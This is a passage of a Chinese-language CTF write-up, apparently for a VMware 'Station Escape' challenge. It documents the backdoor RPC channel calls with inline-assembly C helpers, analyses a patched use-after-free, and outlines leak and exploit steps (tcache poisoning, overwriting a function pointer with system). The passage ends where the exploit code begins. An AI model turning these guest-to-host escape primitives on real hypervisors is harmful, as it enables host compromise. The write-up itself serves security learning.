971<span class="n">EDX</span><span class="p">(</span><span class="n">LO</span><span class="p">)</span> <span class="o">=</span> <span class="mi">5658</span><span class="n">h</span> <span class="o">-</span> <span class="n">port</span> <span class="n">number</span>
972</pre></div>
973
974<p>返回值:</p>
975<div class="codehilite"><pre><span></span><span class="n">ECX</span> <span class="o">=</span> <span class="mo">00</span><span class="mi">810000</span><span class="nl">h</span><span class="p">:</span> <span class="n">success</span> <span class="o">/</span> <span class="mo">00000000</span><span class="nl">h</span><span class="p">:</span> <span class="n">failure</span>
976</pre></div>
977
978<p>在发送RPC command前,需要先发送RPC command的长度,需要注意的是,此时我们输入的channel number所指向的channel必须处于已经open的状态。ECX会返回是否成功发送。具体实现如下:</p>
979<div class="codehilite"><pre><span></span><span class="kt">void</span> <span class="nf">channel_set_len</span><span class="p">(</span><span class="kt">int</span> <span class="n">cookie1</span><span class="p">,</span><span class="kt">int</span> <span class="n">cookie2</span><span class="p">,</span><span class="kt">int</span> <span class="n">channel_num</span><span class="p">,</span><span class="kt">int</span> <span class="n">len</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">res</span><span class="p">){</span>
980    <span class="k">asm</span><span class="p">(</span><span class="s">&quot;movl %%eax,%%ebx</span><span class="se">
980\n\t</span><span class="s">&quot;</span>
981        <span class="s">&quot;movq %%r8,%%r10</span><span class="se">\n\t</span><span class="s">&quot;</span>
982                <span class="s">&quot;movl %%ecx,%%ebx</span><span class="se">\n\t</span><span class="s">&quot;</span>
983                <span class="s">&quot;movl $0x564d5868,%%eax</span><span class="se">\n\t</span><span class="s">&quot;</span>
984                <span class="s">&quot;movl $0x0001001e,%%ecx</span><span class="se">\n\t</span><span class="s">&quot;</span>
985                <span class="s">&quot;movw $0x5658,%%dx</span><span class="se">\n\t</span><span class="s">&quot;</span>
986                <span class="s">&quot;out %%eax,%%dx</span><span class="se">\n\t</span><span class="s">&quot;</span>
987                <span class="s">&quot;movl %%ecx,(%%r10)</span><span class="se">\n\t</span><span class="s">&quot;</span>
988                <span class="o">:</span>
989                <span class="o">:</span>
990            <span class="o">:</span><span class="s">&quot;%rax&quot;</span><span class="p">,</span><span class="s">&quot;%rbx&quot;</span><span class="p">,</span><span class="s">&quot;%rcx&quot;</span><span class="p">,</span><span class="s">&quot;%rdx&quot;</span><span class="p">,</span><span class="s">&quot;%rsi&quot;</span><span class="p">,</span><span class="s">&quot;%rdi&quot;</span><span class="p">,</span><span class="s">&quot;%r10&quot;</span>
991    <span class="p">);</span>
992<span class="p">}</span>
993</pre></div>
994
995<h3 id="send-rpc-command-data">Send RPC command data<a class="headerlink" href="#send-rpc-command-data" title="Permanent link">&para;</a></h3>
996<blockquote>
997<p>RPC subcommand:02h</p>
998</blockquote>
999<p>调用:</p>
1000<div class="codehilite"><pre><span></span><span class="n">EAX</span> <span class="o">=</span> <span class="mi">564</span><span class="n">D5868h</span> <span class="o">-</span> <span class="n">magic</span> <span class="n">number</span>
1001<span class="n">EBX</span> <span class="o">=</span> <span class="mi">4</span> <span class="n">bytes</span> <span class="n">from</span> <span class="n">the</span> <span class="n">command</span> <span class="n">data</span> <span class="p">(</span><span class="n">the</span> <span class="n">first</span> <span class="n">byte</span> <span class="n">in</span> <span class="n">LSB</span><span class="p">)</span>
1002<span class="n">ECX</span><span class="p">(</span><span class="n">HI</span><span class="p">)</span> <span class="o">=</span> <span class="mo">0002</span><span class="n">h</span> <span class="o">-</span> <span class="n">subcommand</span> <span class="n">number</span>
1003<span class="n">ECX</span><span class="p">(</span><span class="n">LO</span><span class="p">)</span> <span class="o">=</span> <span class="mo">001</span><span class="n">Eh</span> <span class="o">-</span> <span class="n">command</span> <span class="n">number</span>
1004<span class="n">EDX</span><span class="p">(</span><span class="n">HI</span><span class="p">)</span> <span class="o">=</span> <span class="n">channel</span> <span class="n">number</span>
1005<span class="n">EDX</span><span class="p">(</span><span class="n">LO</span><span class="p">)</span> <span class="o">=</span> <span class="mi">5658</span><span class="n">h</span> <span class="o">-</span> <span class="n">port</span> <span class="n">number</span>
1006</pre></div>
1007
1008<p>返回值:</p>
1009<div class="codehilite"><pre><span></span><span class="n">ECX</span> <span class="o">=</span> <span class="mo">000010000</span><span class="nl">h</span><span class="p">:</span> <span class="n">success</span> <span class="o">/</span> <span class="mo">00000000</span><span class="nl">h</span><span class="p">:</span> <span class="n">failure</span>
1010</pre></div>
1011
1012<p>该功能必须在Send RPC command length后使用,每次只能发送4个字节。例如,如果要发送命令<code>machine.id.get</code>,那么必须要调用4次,分别为:</p>
1013<p><div class="codehilite"><pre><span></span><span class="n">EBX</span> <span class="n">set</span> <span class="n">to</span> <span class="mi">6863616</span><span class="n">Dh</span> <span class="p">(</span><span class="s">&quot;mach&quot;</span><span class="p">)</span>
1014<span class="n">EBX</span> <span class="n">set</span> <span class="n">to</span> <span class="mf">2E656</span><span class="n">E69h</span> <span class="p">(</span><span class="s">&quot;ine.&quot;</span><span class="p">)</span>
1015<span class="n">EBX</span> <span class="n">set</span> <span class="n">to</span> <span class="mf">672E6469</span><span class="n">h</span> <span class="p">(</span><span class="s">&quot;id.g&quot;</span><span class="p">)</span>
1016<span class="n">EBX</span> <span class="n">set</span> <span class="n">to</span> <span class="mo">00007465</span><span class="n">h</span> <span class="p">(</span><span class="s">&quot;
1016et</span><span class="se">\x00\x00</span><span class="s">&quot;</span><span class="p">)</span>
1017</pre></div>
1018ECX会返回是否成功,具体实现如下:</p>
1019<div class="codehilite"><pre><span></span><span class="kt">void</span> <span class="nf">channel_send_data</span><span class="p">(</span><span class="kt">int</span> <span class="n">cookie1</span><span class="p">,</span><span class="kt">int</span> <span class="n">cookie2</span><span class="p">,</span><span class="kt">int</span> <span class="n">channel_num</span><span class="p">,</span><span class="kt">int</span> <span class="n">len</span><span class="p">,</span><span class="kt">char</span> <span class="o">*</span><span class="n">data</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">res</span><span class="p">){</span>
1020    <span class="k">asm</span><span class="p">(</span><span class="s">&quot;pushq %%rbp</span><span class="se">\n\t</span><span class="s">&quot;</span>
1021                <span class="s">&quot;movq %%r9,%%r10</span><span class="se">\n\t</span><span class="s">&quot;</span>
1022        <span class="s">&quot;movq %%r8,%%rbp</span><span class="se">\n\t</span><span class="s">&quot;</span>
1023        <span class="s">&quot;movq %%rcx,%%r11</span><span class="se">\n\t</span><span class="s">&quot;</span>
1024        <span class="s">&quot;movq $0,%%r12</span><span class="se">\n\t</span><span class="s">&quot;</span>
1025        <span class="s">&quot;1:</span><span class="se">\n\t</span><span class="s">&quot;</span>
1026        <span class="s">&quot;movq %%r8,%%rbp</span><span class="se">\n\t</span><span class="s">&quot;</span>
1027        <span class="s">&quot;add %%r12,%%rbp</span><span class="se">\n\t</span><span class="s">&quot;</span>
1028        <span class="s">&quot;movl (%%rbp),%%ebx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1029                <span class="s">&quot;movl $0x564d5868,%%eax</span><span class="se">\n\t</span><span class="s">&quot;</span>
1030                <span class="s">&quot;movl $0x0002001e,%%ecx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1031        <span class="s">&quot;movw $0x5658,%%dx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1032                <span class="s">&quot;out %%eax,%%dx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1033        <span class="s">&quot;addq $4,%%r12</span><span class="se">\n\t</span><span class="s">&quot;</span>
1034        <span class="s">&quot;cmpq %%r12,%%r11</span><span class="se">\n\t</span><span class="s">&quot;</span>
1035        <span class="s">&quot;ja 1b</span><span class="se">\n\t</span><span class="s">&quot;</span>
1036        <span class="s">&quot;movl %%ecx,(%%r10)</span><span class="se">\n\t</span><span class="s">&quot;</span>
1037        <span class="s">&quot;popq %%rbp</span><span class="se">\n\t</span><span class="s">&quot;</span>
1038                <span class="o">:</span>
1039                <span class="o">:</span>
1040                <span class="o">:</span><span class="s">&quot;%rax&quot;</span><span class="p">,</span><span class="s">&quot;%rbx&quot;</span><span class="p">,</span><span class="s">&quot;%rcx&quot;</span><span class="p">,</span><span class="s">&quot;%rdx&quot;</span><span class="p">,</span><span class="s">&quot;%rsi&quot;</span><span class="p">,</span><span class="s">&quot;%rdi&quot;</span><span class="p">,</span><span class="s">&quot;%r10&quot;</span><span class="p">,</span><span class="s">&quot;%r11&quot;</span><span class="p">,</span><span class="s">&quot;%r12&quot;</span>
1041        <span class="p">);</span>
1042<span class="p">}</span>
1043</pre></div>
1044
1045<h3 id="recieve-rpc-reply-length">Recieve RPC reply length<a class="headerlink" href="#recieve-rpc-reply-length" title="Permanent link">&para;</a></h3>
1046<blockquote>
1047<p>RPC subcommand:03h</p>
1048</blockquote>
1049<p>调用:
1050<div class="codehilite"><pre><span></span><span class="n">EAX</span> <span class="o">=</span> <span class="mi">564</span><span class="n">D5868h</span> <span class="o">-</span> <span class="n">magic</span> <span class="n">number</span>
1051<span class="n">ECX</span><span class="p">(</span><span class="n">HI</span><span class="p">)</span> <span class="o">=</span> <span class="mo">0003</span><span class="n">h</span> <span class="o">-</span> <span class="n">subcommand</span> <span class="n">number</span>
1052<span class="n">ECX</span><span class="p">(</span><span class="n">LO</span><span class="p">)</span> <span class="o">=</span> <span class="mo">001</span><span class="n">Eh</span> <span class="o">-</span> <span class="n">command</span> <span class="n">number</span>
1053<span class="n">EDX</span><span class="p">(</span><span class="n">HI</span><span class="p">)</span> <span class="o">=</span> <span class="n">channel</span> <span class="n">number</span>
1054<span class="n">EDX</span><span class="p">(</span><span class="n">LO</span><span class="p">)</span> <span class="o">=</span> <span class="mi">5658</span><span class="n">h</span> <span class="o">-</span> <span class="n">port</span> <span class="n">number</span>
1055</pre></div>
1056返回值:
1057<div class="codehilite"><pre><span></span><span class="n">EBX</span> <span class="o">=</span> <span class="n">reply</span> <span class="n">length</span> <span class="p">(</span><span class="n">not</span> <span class="n">including</span> <span class="n">the</span> <span class="n">terminating</span> <span class="nb">NULL</span><span class="p">)</span>
1058<span class="n">ECX</span> <span class="o">=</span> <span class="mo">00</span><span class="mi">830000</span><span class="nl">h</span><span class="p">:</span> <span class="n">success</span> <span class="o">/</span> <span class="mo">00000000</span><span class="nl">h</span><span class="p">:</span> <span class="n">failure</span>
1059</pre></div>
1060接收RPC reply的长度。需要注意的是所有的RPC command都会返回至少2个字节的reply的数据,其中<code>1</code>表示<code>success</code>,<code>0</code>表示<code>failure</code>
1060,即使VMware无法识别RPC command,也会返回<code>0 Unknown command</code>作为reply。也就是说,reply数据的前两个字节始终表示RPC command命令的状态。
1061<div class="codehilite"><pre><span></span><span class="kt">void</span> <span class="nf">channel_recv_reply_len</span><span class="p">(</span><span class="kt">int</span> <span class="n">cookie1</span><span class="p">,</span><span class="kt">int</span> <span class="n">cookie2</span><span class="p">,</span><span class="kt">int</span> <span class="n">channel_num</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">len</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">res</span><span class="p">){</span>
1062    <span class="k">asm</span><span class="p">(</span><span class="s">&quot;movl %%eax,%%ebx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1063                <span class="s">&quot;movq %%r8,%%r10</span><span class="se">\n\t</span><span class="s">&quot;</span>
1064                <span class="s">&quot;movq %%rcx,%%r11</span><span class="se">\n\t</span><span class="s">&quot;</span>
1065                <span class="s">&quot;movl $0x564d5868,%%eax</span><span class="se">\n\t</span><span class="s">&quot;</span>
1066                <span class="s">&quot;movl $0x0003001e,%%ecx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1067                <span class="s">&quot;movw $0x5658,%%dx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1068                <span class="s">&quot;out %%eax,%%dx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1069                <span class="s">&quot;movl %%ecx,(%%r10)</span><span class="se">\n\t</span><span class="s">&quot;</span>
1070        <span class="s">&quot;movl %%ebx,(%%r11)</span><span class="se">\n\t</span><span class="s">&quot;</span>
1071                <span class="o">:</span>
1072                <span class="o">:</span>
1073                <span class="o">:</span><span class="s">&quot;%rax&quot;</span><span class="p">,</span><span class="s">&quot;%rbx&quot;</span><span class="p">,</span><span class="s">&quot;%rcx&quot;</span><span class="p">,</span><span class="s">&quot;%rdx&quot;</span><span class="p">,</span><span class="s">&quot;%rsi&quot;</span><span class="p">,</span><span class="s">&quot;%rdi&quot;</span><span class="p">,</span><span class="s">&quot;%r10&quot;</span><span class="p">,</span><span class="s">&quot;%r11&quot;</span>
1074        <span class="p">);</span>
1075
1076<span class="p">}</span>
1077</pre></div></p>
1078<h3 id="receive-rpc-reply-data">Receive RPC reply data<a class="headerlink" href="#receive-rpc-reply-data" title="Permanent link">&para;</a></h3>
1079<blockquote>
1080<p>RPC subcommand:04h</p>
1081</blockquote>
1082<p>调用:
1083<div class="codehilite"><pre><span></span><span class="n">EAX</span> <span class="o">=</span> <span class="mi">564</span><span class="n">D5868h</span> <span class="o">-</span> <span class="n">magic</span> <span class="n">number</span>
1084<span class="n">EBX</span> <span class="o">=</span> <span class="n">reply</span> <span class="n">type</span> <span class="n">from</span> <span class="n">subcommand</span> <span class="mo">03</span><span class="n">h</span>
1085<span class="n">ECX</span><span class="p">(</span><span class="n">HI</span><span class="p">)</span> <span class="o">=</span> <span class="mo">0004</span><span class="n">h</span> <span class="o">-</span> <span class="n">subcommand</span> <span class="n">number</span>
1086<span class="n">ECX</span><span class="p">(</span><span class="n">LO</span><span class="p">)</span> <span class="o">=</span> <span class="mo">001</span><span class="n">Eh</span> <span class="o">-</span> <span class="n">command</span> <span class="n">number</span>
1087<span class="n">EDX</span><span class="p">(</span><span class="n">HI</span><span class="p">)</span> <span class="o">=</span> <span class="n">channel</span> <span class="n">number</span>
1088<span class="n">EDX</span><span class="p">(</span><span class="n">LO</span><span class="p">)</span> <span class="o">=</span> <span class="mi">5658</span><span class="n">h</span> <span class="o">-</span> <span class="n">port</span> <span class="n">number</span>
1089</pre></div>
1090返回:
1091<div class="codehilite"><pre><span></span><span class="n">EBX</span> <span class="o">=</span> <span class="mi">4</span> <span class="n">bytes</span> <span class="n">from</span> <span class="n">the</span> <span class="n">reply</span> <span class="n">data</span> <span class="p">(</span><span class="n">the</span> <span class="n">first</span> <span class="n">byte</span> <span class="n">in</span> <span class="n">LSB</span><span class="p">)</span>
1092<span class="n">ECX</span> <span class="o">=</span> <span class="mo">00010000</span><span class="nl">h</span><span class="p">:</span> <span class="n">success</span> <span class="o">/</span> <span class="mo">00000000</span><span class="nl">h</span><span class="p">:</span> <span class="n">failure</span>
1093</pre></div>
1094和<code>https://sites.google.com/site/chitchatvmback/backdoor</code>中有出入的是,在实际的逆向分析中,EBX中存放的值,不是reply id,而是reply type,他决定了执行的路径。和发送数据一样,每次只能够接受4个字节的数据。需要注意的是,我们在<code>Recieve RPC reply length</code>中提到过,应答数据的前两个字节始终表示RPC command的状态。举例说明,如果我们使用RPC command询问<code>machine.id.get</code>,如果成功的话,会返回<code>1 &lt;virtual machine id&gt;</code>,否则为<code>0 No machine id</code>。
1095<div class="codehilite"><pre><span></span><span class="kt">void</span> <span class="nf">channel_recv_data</span><span class="p">(</span><span class="kt">int</span> <span class="n">cookie1</span><span class="p">,</span><span class="kt">int</span> <span class="n">cookie2</span><span class="p">,</span><span class="kt">int</span> <span class="n">channel_num</span><span class="p">,</span><span class="kt">int</span> <span class="n">offset</span><span class="p">,</span><span class="kt">char</span> <span class="o">*</span><span class="n">data</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">res</span><span class="p">){</span>
1096    <span class="k">asm</span><span class="p">(</span><span class="s">&quot;pushq %%rbp</span><span class="se">
1096\n\t</span><span class="s">&quot;</span>
1097                <span class="s">&quot;movq %%r9,%%r10</span><span class="se">\n\t</span><span class="s">&quot;</span>
1098                <span class="s">&quot;movq %%r8,%%rbp</span><span class="se">\n\t</span><span class="s">&quot;</span>
1099                <span class="s">&quot;movq %%rcx,%%r11</span><span class="se">\n\t</span><span class="s">&quot;</span>
1100                <span class="s">&quot;movq $1,%%rbx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1101        <span class="s">&quot;movl $0x564d5868,%%eax</span><span class="se">\n\t</span><span class="s">&quot;</span>
1102                <span class="s">&quot;movl $0x0004001e,%%ecx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1103                <span class="s">&quot;movw $0x5658,%%dx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1104                <span class="s">&quot;in %%dx,%%eax</span><span class="se">\n\t</span><span class="s">&quot;</span>
1105        <span class="s">&quot;add %%r11,%%rbp</span><span class="se">\n\t</span><span class="s">&quot;</span>
1106                <span class="s">&quot;movl %%ebx,(%%rbp)</span><span class="se">\n\t</span><span class="s">&quot;</span>
1107                <span class="s">&quot;movl %%ecx,(%%r10)</span><span class="se">\n\t</span><span class="s">&quot;</span>
1108                <span class="s">&quot;popq %%rbp</span><span class="se">\n\t</span><span class="s">&quot;</span>
1109                <span class="o">:</span>
1110                <span class="o">:</span>
1111                <span class="o">:</span><span class="s">&quot;%rax&quot;</span><span class="p">,</span><span class="s">&quot;%rbx&quot;</span><span class="p">,</span><span class="s">&quot;%rcx&quot;</span><span class="p">,</span><span class="s">&quot;%rdx&quot;</span><span class="p">,</span><span class="s">&quot;%rsi&quot;</span><span class="p">,</span><span class="s">&quot;%rdi&quot;</span><span class="p">,</span><span class="s">&quot;%r10&quot;</span><span class="p">,</span><span class="s">&quot;%r11&quot;</span><span class="p">,</span><span class="s">&quot;%r12&quot;</span>
1112        <span class="p">);</span>
1113<span class="p">}</span>
1114</pre></div></p>
1115<h3 id="finish-receiving-rpc-reply">Finish receiving RPC reply<a class="headerlink" href="#finish-receiving-rpc-reply" title="Permanent link">&para;</a></h3>
1116<blockquote>
1117<p>RPC subcommand:05h</p>
1118</blockquote>
1119<p>调用:
1120<div class="codehilite"><pre><span></span><span class="n">EAX</span> <span class="o">=</span> <span class="mi">564</span><span class="n">D5868h</span> <span class="o">-</span> <span class="n">magic</span> <span class="n">number</span>
1121<span class="n">EBX</span> <span class="o">=</span> <span class="n">reply</span> <span class="n">type</span> <span class="n">from</span> <span class="n">subcommand</span> <span class="mo">03</span><span class="n">h</span>
1122<span class="n">ECX</span><span class="p">(</span><span class="n">HI</span><span class="p">)</span> <span class="o">=</span> <span class="mo">0005</span><span class="n">h</span> <span class="o">-</span> <span class="n">subcommand</span> <span class="n">number</span>
1123<span class="n">ECX</span><span class="p">(</span><span class="n">LO</span><span class="p">)</span> <span class="o">=</span> <span class="mo">001</span><span class="n">Eh</span> <span class="o">-</span> <span class="n">command</span> <span class="n">number</span>
1124<span class="n">EDX</span><span class="p">(</span><span class="n">HI</span><span class="p">)</span> <span class="o">=</span> <span class="n">channel</span> <span class="n">number</span>
1125<span class="n">EDX</span><span class="p">(</span><span class="n">LO</span><span class="p">)</span> <span class="o">=</span> <span class="mi">5658</span><span class="n">h</span> <span class="o">-</span> <span class="n">port</span> <span class="n">number</span>
1126</pre></div>
1127返回:
1128<div class="codehilite"><pre><span></span><span class="n">ECX</span> <span class="o">=</span> <span class="mo">00010000</span><span class="nl">h</span><span class="p">:</span> <span class="n">success</span> <span class="o">/</span> <span class="mo">00000000</span><span class="nl">h</span><span class="p">:</span> <span class="n">failure</span>
1129</pre></div>
1130和前文所述一样,在EBX中存储的是reply type。在接收完reply的数据后,调用此命令。如果没有通过<code>Receive RPC reply data</code>接收完整个reply数据的话,就会返回failure。
1131<div class="codehilite"><pre><span></span><span class="kt">void</span> <span class="nf">channel_recv_finish</span><span class="p">(</span><span class="kt">int</span> <span class="n">cookie1</span><span class="p">,</span><span class="kt">int</span> <span class="n">cookie2</span><span class="p">,</span><span class="kt">int</span> <span class="n">channel_num</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">res</span><span class="p">){</span>
1132    <span class="k">asm</span><span class="p">(</span><span class="s">&quot;movl %%eax,%%ebx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1133                <span class="s">&quot;movq %%rcx,%%r10</span><span class="se">\n\t</span><span class="s">&quot;</span>
1134        <span class="s">&quot;movq $0x1,%%rbx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1135                <span class="s">&quot;movl $0x564d5868,%%eax</span><span class="se">\n\t</span><span class="s">&quot;</span>
1136                <span class="s">&quot;movl $0x0005001e,%%ecx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1137                <span class="s">&quot;movw $0x5658,%%dx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1138                <span class="s">&quot;out %%eax,%%dx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1139                <span class="s">&quot;movl %%ecx,(%%r10)</span><span class="se">\n\t</span><span class="s">&quot;</span>
1140                <span class="o">:</span>
1141                <span class="o">:</span>
1142                <span class="o">:</span><span class="s">&quot;%rax&quot;</span><span class="p">,</span><span class="s">&quot;%rbx&quot;</span><span class="p">,</span><span class="s">&quot;%rcx&quot;</span><span class="p">,</span><span class="s">&quot;%rdx&quot;</span><span class="p">,</span><span class="s">&quot;%rsi&quot;</span><span class="p">,</span><span class="s">&quot;%rdi&quot;</span><span class="p">,</span><span class="s">&quot;%r10&quot;</span>
1143        <span class="p">);</span>
1144<span class="p">}</span>
1145</pre></div></p>
1146<h3 id="close-rpc-channel">Close RPC channel<a class="headerlink" href="#close-rpc-channel" title="Permanent link">&para;</a></h3>
1147<blockquote>
1148<p>RPC subcommand:06h</p>
1149</blockquote>
1150<p>调用:
1151<div class="codehilite"><pre><span></span><span class="n">EAX</span> <span class="o">=</span> <span class="mi">564</span><span class="n">D5868h</span> <span class="o">-</span> <span class="n">magic</span> <span class="n">number</span>
1152<span class="n">ECX</span><span class="p">(</span><span class="n">HI</span><span class="p">)</span> <span class="o">=</span> <span class="mo">0006</span><span class="n">h</span> <span class="o">-</span> <span class="n">subcommand</span> <span class="n">number</span>
1153<span class="n">ECX</span><span class="p">(</span><span class="n">LO</span><span class="p">)</span> <span class="o">=</span> <span class="mo">001</span><span class="n">Eh</span> <span class="o">-</span> <span class="n">command</span> <span class="n">number</span>
1154<span class="n">EDX</span><span class="p">(</span><span class="n">HI</span><span class="p">)</span> <span class="o">=</span> <span class="n">channel</span> <span class="n">number</span>
1155<span class="n">EDX</span><span class="p">(</span><span class="n">LO</span><span class="p">)</span> <span class="o">=</span> <span class="mi">5658</span><span class="n">h</span> <span class="o">-</span> <span class="n">port</span> <span class="n">number</span>
1156</pre></div>
1157返回:
1158<div class="codehilite"><pre><span></span><span class="n">ECX</span> <span class="o">=</span> <span class="mo">00010000</span><span class="nl">h</span><span class="p">:</span> <span class="n">success</span> <span class="o">/</span> <span class="mo">00000000</span><span class="nl">h</span><span class="p">:</span> <span class="n">failure</span>
1159</pre></div>
1160关闭channel。
1161<div class="codehilite"><pre><span></span><span class="kt">void</span> <span class="nf">channel_close</span><span class="p">(</span><span class="kt">int</span> <span class="n">cookie1</span><span class="p">,</span><span class="kt">int</span> <span class="n">cookie2</span><span class="p">,</span><span class="kt">int</span> <span class="n">channel_num</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">res</span><span class="p">){</span>
1162    <span class="k">asm</span><span class="p">(</span><span class="s">&quot;movl %%eax,%%ebx</span><span class="se">
1162\n\t</span><span class="s">&quot;</span>
1163                <span class="s">&quot;movq %%rcx,%%r10</span><span class="se">\n\t</span><span class="s">&quot;</span>
1164                <span class="s">&quot;movl $0x564d5868,%%eax</span><span class="se">\n\t</span><span class="s">&quot;</span>
1165                <span class="s">&quot;movl $0x0006001e,%%ecx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1166                <span class="s">&quot;movw $0x5658,%%dx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1167                <span class="s">&quot;out %%eax,%%dx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1168                <span class="s">&quot;movl %%ecx,(%%r10)</span><span class="se">\n\t</span><span class="s">&quot;</span>
1169                <span class="o">:</span>
1170                <span class="o">:</span>
1171                <span class="o">:</span><span class="s">&quot;%rax&quot;</span><span class="p">,</span><span class="s">&quot;%rbx&quot;</span><span class="p">,</span><span class="s">&quot;%rcx&quot;</span><span class="p">,</span><span class="s">&quot;%rdx&quot;</span><span class="p">,</span><span class="s">&quot;%rsi&quot;</span><span class="p">,</span><span class="s">&quot;%rdi&quot;</span><span class="p">,</span><span class="s">&quot;%r10&quot;</span>
1172        <span class="p">);</span>
1173<span class="p">}</span>
1174</pre></div></p>
1175<h2 id="_2">漏洞分析<a class="headerlink" href="#_2" title="Permanent link">&para;</a></h2>
1176<p>虽然是RealWorld的竞赛,但是因为是魔改的VMWare Workstation,因此我们通过二进制比对的方式可以快速定位到漏洞点,节省大量的二进制程序审计和漏洞挖掘的时间。
1177<img alt="" src="/assets/images/backup/realworldctf_2018_stationescape/MKWqK97.png" />
1178可以发现出题人仅仅修改了两处,一处在0x1893c9,另一处在0x1893e6。分别对两个位置进行分析:
1179<img alt="" src="/assets/images/backup/realworldctf_2018_stationescape/babk4SB.png" />
1180首先在0x1893c9处,channel-&gt;out_msg_buf置null的操作被nop掉了:
1181<img alt="" src="/assets/images/backup/realworldctf_2018_stationescape/npSiUHz.png" />
1182其次在0x1893e6处的函数调用中,v7&amp;1变成了v7&amp;0x21:
1183<img alt="" src="/assets/images/backup/realworldctf_2018_stationescape/MGjbs9N.png" />
1184在第一处patch中,out_msg_buf没有被置空,其次在第二处patch中,原先被限制的reply type(&amp;0x1)变成了&amp;0x21,也就是说,我们在Finish receiving RPC reply的reply type中可以设置另外一条路径,这条路径会导致在随后的<code>v6</code>这个调用(它会call函数<code>sub_177700</code>),<code>output buffer</code>被<code>free</code>掉。</p>
1185<p><img alt="" src="https://i.ibb.co/ZHVgstf/rwctf2.png" /></p>
1186<div class="codehilite"><pre><span></span><span class="kt">void</span> <span class="nf">channel_recv_finish2</span><span class="p">(</span><span class="kt">int</span> <span class="n">cookie1</span><span class="p">,</span><span class="kt">int</span> <span class="n">cookie2</span><span class="p">,</span><span class="kt">int</span> <span class="n">channel_num</span><span class="p">,</span><span class="kt">int</span> <span class="o">*</span><span class="n">res</span><span class="p">){</span>
1187        <span class="k">asm</span><span class="p">(</span><span class="s">&quot;movl %%eax,%%ebx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1188                <span class="s">&quot;movq %%rcx,%%r10</span><span class="se">\n\t</span><span class="s">&quot;</span>
1189                <span class="s">&quot;movq $0x21,%%rbx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1190                <span class="s">&quot;movl $0x564d5868,%%eax</span><span class="se">\n\t</span><span class="s">&quot;</span>
1191                <span class="s">&quot;movl $0x0005001e,%%ecx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1192                <span class="s">&quot;movw $0x5658,%%dx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1193                <span class="s">&quot;out %%eax,%%dx</span><span class="se">\n\t</span><span class="s">&quot;</span>
1194                <span class="s">&quot;movl %%ecx,(%%r10)</span><span class="se">\n\t</span><span class="s">&quot;</span>
1195                <span class="o">:</span>
1196                <span class="o">:</span>
1197                <span class="o">:</span><span class="s">&quot;%rax&quot;</span><span class="p">,</span><span class="s">&quot;%rbx&quot;</span><span class="p">,</span><span class="s">&quot;%rcx&quot;</span><span class="p">,</span><span class="s">&quot;%rdx&quot;</span><span class="p">,</span><span class="s">&quot;%rsi&quot;</span><span class="p">,</span><span class="s">&quot;%rdi&quot;</span><span class="p">,</span><span class="s">&quot;%r10&quot;</span>
1198        <span class="p">);</span>
1199<span class="p">}</span>
1200</pre></div>
1201
1202<h2 id="_3">漏洞利用<a class="headerlink" href="#_3" title="Permanent link">&para;</a></h2>
1203<p>由上面的分析可以知,这个patch会导致<code>UAF</code>:如果我们在接收完成之后设置了<code>0x20</code>这个位,那么<code>output buffer</code>就会被释放掉,但由于它没有被清零,所以理论上我们可以无限次的将它<code>free</code>掉。有了这些条件,我们要完成整个利用就不难了。</p>
1204<p>利用步骤如下:
1205<code>Leak:</code>
12061. 开两个<code>channel:A,B</code>
12072. <code>A</code>的<code>output buffer</code>为<code>buf_A</code>,然后<code>A</code>释放<code>buf_A</code>
12083. 这时让<code>B</code>准备给<code>guest</code>发<code>output</code>,<code>B</code>会分配一个<code>buffer</code>,我们利用<code>info-set</code>和<code>info-get</code>来控制我们分配的<code>buffer</code>大小,使得<code>B</code>的<code>output buffer: buf_B=buf_A</code>。
12094. <code>A</code>再次释放<code>buf_A</code>,这也导致了<code>buf_B</code>被释放。这个时候我们就可以<code>leak</code>出<code>buf_B</code>的<code>fd</code>了,但是这个指针没有什么用,我们想要的是<code>text base</code>。
12105. 因此我们再执行命令<code>vmx.capability.dnd_version</code>,这会让<code>host</code>分配一块内存来存放一个<code>obj</code>,通过控制<code>buffer</code>大小我们可以刚好让<code>buf_B</code>被用来存放一个<code>obj</code>。而这个<code>obj</code>里面有<code>vtable</code>,我们可以<code>leak</code>出来计算<code>text base</code>。注意我们一直没有接受<code>B</code>的输出,只是让它做好准备(分配output buffer)。直到这个时候我们才接受它的输出,完成<code>leak</code></p>
1211<p><code>Exploit</code></p>
1212<p>有了<code>leak</code>的方法,<code>exploit</code>的也是类似的了。简单来说就是<code>UAF</code>,把<code>tcache</code>的<code>fd</code>改到<code>bss</code>段,然后改函数指针为<code>system</code>,最后弹<code>calculator</code></p>
1213<p>我给作者的exp加上了注释,大家可以参考:
1214<div class="codehilite"><pre><span></span><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp"></span>
1215<span class="cp">#include</span> <span class="cpf">&lt;stdint.h&gt;</span><span class="cp"></span>
